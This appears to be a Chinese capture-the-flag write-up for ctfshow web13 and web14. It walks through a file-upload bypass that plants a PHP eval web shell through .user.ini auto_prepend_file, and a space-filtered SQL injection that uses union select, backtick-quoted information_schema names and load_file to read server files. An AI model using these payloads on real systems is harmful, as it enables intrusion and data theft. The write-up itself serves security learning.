当前位置: 代码迷 >> 综合 >> ctfshow web13-14
  详细解决方案

ctfshow web13-14

热度:18   发布时间:2023-12-05 16:56:13.0

web13

 文件上传的题

 想办法搞到源码 常见得到源码的方法 .bak .git .hg

这里使用.bak得到源码

 下载得到源码

<?php header("content-type:text/html;charset=utf-8");$filename = $_FILES['file']['name'];$temp_name = $_FILES['file']['tmp_name'];$size = $_FILES['file']['size'];$error = $_FILES['file']['error'];$arr = pathinfo($filename);$ext_suffix = $arr['extension'];if ($size > 24){die("error file zise");}if (strlen($filename)>9){die("error file name");}if(strlen($ext_suffix)>3){die("error suffix");}if(preg_match("/php/i",$ext_suffix)){die("error suffix");}if(preg_match("/php/i"),$filename)){die("error file name");}if (move_uploaded_file($temp_name, './'.$filename)){echo "文件上传成功!";}else{echo "文件上传失败!";}?>

这里限制文件大小小于等于24,文件名字长度小于等于9,后缀名长度小于等于3,并且后缀和名字都不能包含php

正常一句话木马的大小超过了24于是构建<?php eval($_POST['x']); 保存为1.txt

 

 上传1.txt

php.ini是php的核心配置文件,在 PHP 启动时被读取,那么web目录的其他ini文件也是可以被php识别

PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。

在配置文件php.ini中有两个选项auto_prepend_file和auto_append_file。通过这两个选项来设置页眉和脚注,可以保证它们在每个页面的前后被载入
我们在.user.ini中输入auto_prepend_file =1.txt,这样在该目录下的所有文件都会包含1.txt的内容

 上传.user.ini

 使用蚁剑连接

这里可能蚁剑会无法正常连接可能是后台设置了时间如果不能连接可以等一下

连接后发现没有权限

直接在页面构建

/?x=print_r(glob("*"));

对于这个可以看ctfshow web10-12_许允er的博客-CSDN博客中的web12有解释

 查询得到903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php

构建

/?x=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

 得到flag值

web14

 看到一部分的代码

开始尝试?c=

 得到?c=3时退出循环

 进入发现为sql注入题

<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>Qeury Page</title><link rel="stylesheet" type="text/css" href="css/style.css"><script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/vector.js"></script></head>
<body><div id="container"><div id="output"><div class="containerT"><h1>查询</h1><form class="form" id="entry_form" method="get" action=""><input type="text" placeholder="1" id="entry_name" name='query' value="1"><button type="sbmit" id="entry_btn">确定</button><div id="prompt" class="prompt"></div></form></div></div>
</div><script type="text/javascript">$(function(){Victor("container", "output");   //登录背景函数$("#entry_name").focus();$(document).keydown(function(event){if(event.keyCode==13){$("#entry_btn").click();}});});
</script>
<div style="text-align:center;">
</div>
<!--if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){die('@A@');}
-->
</body>
</html><script>alert('admin')</script>

if(preg_match('if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){

发现过滤了

/information_schema\.tables|information_schema\.columns|linestring| |polygon/is'

使用Query

Query是一个查询参数类

构建?query=1/**/order/**/by/**/1

 当输入order by 1时才不显示错误,所以1为回显位置

构建?query=-1/**/union/**/select/**/database()

 得到web这个库

在这里介绍一种绕过的方法——反引号
反引号:它是为了区分MYSQL的保留字与普通字符而引入的符号

?query=-1/**/union/**/select/**/group_concat(table_namae)/**/from/**/information_schema.`table`/**/where/**/table_schema=database()

 得到content这个表

构建以下语句查字段

?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'

 构建语句爆值

?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content

 没有得到flag但发现提示tell you a secret,secert has a secret…

使用load_file()函数

load_file()读取本地文件的函数

构建?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

 然后查看源码

 发现flag值在('/real_flag_is_here')

构建?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')

 然后查看源码得到flag值